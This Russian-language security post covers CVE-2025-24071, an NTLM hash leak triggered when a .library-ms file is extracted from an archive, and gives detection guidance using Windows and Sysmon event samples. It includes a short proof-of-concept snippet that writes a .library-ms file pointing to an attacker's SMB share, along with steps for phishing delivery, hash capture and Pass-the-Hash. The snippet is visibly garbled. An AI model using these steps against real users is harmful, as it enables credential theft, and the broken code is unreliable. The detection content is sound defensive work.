CVE-2025-24071 (NTLM Leak via .library-ms) уже ITW: как обнаружить

Уязвимость была освещена в мартовском патч-вторнике, а также недавно описана коллегами из PT ESC.

Работает она так: при распаковке из архива файла с расширением .library-ms происходит автоматическая NTLM-аутентификация по адресу, указанному в файле, что может раскрыть аутентификационную информацию пользователя.

Нам известно, что злоумышленники взяли уязвимость на вооружение.

Однако Microsoft до сих пор не обновил информацию о фактах эксплуатации In-the-Wild:

Exploit Code Maturity: Unproven
Exploited: No

Более того, вендор считает, что вероятность массовой эксплуатации уязвимости «маловероятна».

Алгоритм воспроизведения
1. Злоумышленник создает файл с расширением .library-ms, который содержит путь до SMB-шары внутри тэга <searchConnectorDescriptionList>:

library_content = f**"<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2909/1ibrary*>
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
            <simpleLocation>
                <url>\\ip_address}\shared</url>
            </simpleLocation>
        </searchConnectorDescription>
    </searchConnectorDescriptionList>
</libraryDescription>
library_file_name - f"(file_name).library-ms" 
with open(library_file_name, "w", encoding "utf-&") as f: 
    f.write(library_content)

2. Запаковывает этот .library-ms файл в архив;
3. Отправляет архив жертве, например, фишинговым письмом, как это уже делают настоящие злоумышленники;
4. Жертва распаковывает архив, и в момент распаковки library-ms файла Windows Explorer автоматически парсит содержимое .library-ms и отправляет аутентификацию на указанную SMB-шару, на которой мы предварительно поднимаем responder.

После перехвата NTLM-хэша злоумышленник может использовать его в атаках типа Pass-the-Hash.

🫡 Любопытный момент: аутентификация на SMB-шаре, адрес которой зашит в файл, будет происходить при *любом* взаимодействии с созданным файлом .library-ms, от создания,до удаления или попыток переместить его в другое место на диске.

🫡 Любопытный момент [2]: если на системе жертвы нет ни одного архиватора, распаковать архив попытается процесс explorer.exe.

🫡 Любопытный момент [3]: после выхода патча Microsoft присвоили уязвимости новый номер, CVE-2025-24054.

Мониторинг и детектирование
Рекомендуем отслеживать создание файлов .library-ms на диске процессами-архиваторами или Windows Explorer (explorer.exe). Если вы используете стандартный аудит Windows, обратите внимание на событие Security\4663 (An attempt was made to access an object):

{
  "Event": {
    "System": {
      "Provider": {
        "Name": "Microsoft-Windows-Security-Auditing",
        "Guid": "{54849625-5478-4994-a5ba-3e3b0328c30d}"
      },
      "EventID": "4663",
    },
    "EventData": {
      "Data": [
        {
          "text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
          "Name": "ObjectName"
        },
        {
          "text": "0x3438",
          "Name": "HandleId"
        },
        {
          "text": "%%4417\r\n\t\t\t\t%%4418\r\n\t\t\t\t",
          "Name": "AccessList"
        },
        {
          "text": "0x6",
          "Name": "AccessMask"
        },
        {
          "text": "C:\\Windows\\explorer.exe",
          "Name": "ProcessName"
        },
        {
          "text": "S:AI",
          "Name": "ResourceAttributes"
        }
      ]
    }
  }
}

Если используете Sysmon, то на событие 11 (FileCreate):

{
  "Event": {
    "System": {
      "Provider": {
        "Name": "Microsoft-Windows-Sysmon",
        "Guid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}"
      },
      "EventID": "11",
      "Channel": "Microsoft-Windows-Sysmon/Operational",
      },
    "EventData": {
      "Data": [
        {
          "text": "C:\\Program Files\\WinRAR\\WinRAR.exe",
          "Name": "Image"
        },
        {
          "text": "C:\\me\\CVE-2025-24071_PoC\\victim.library-ms",
          "Name": "TargetFilename"
        },
      ]
    }
  }
}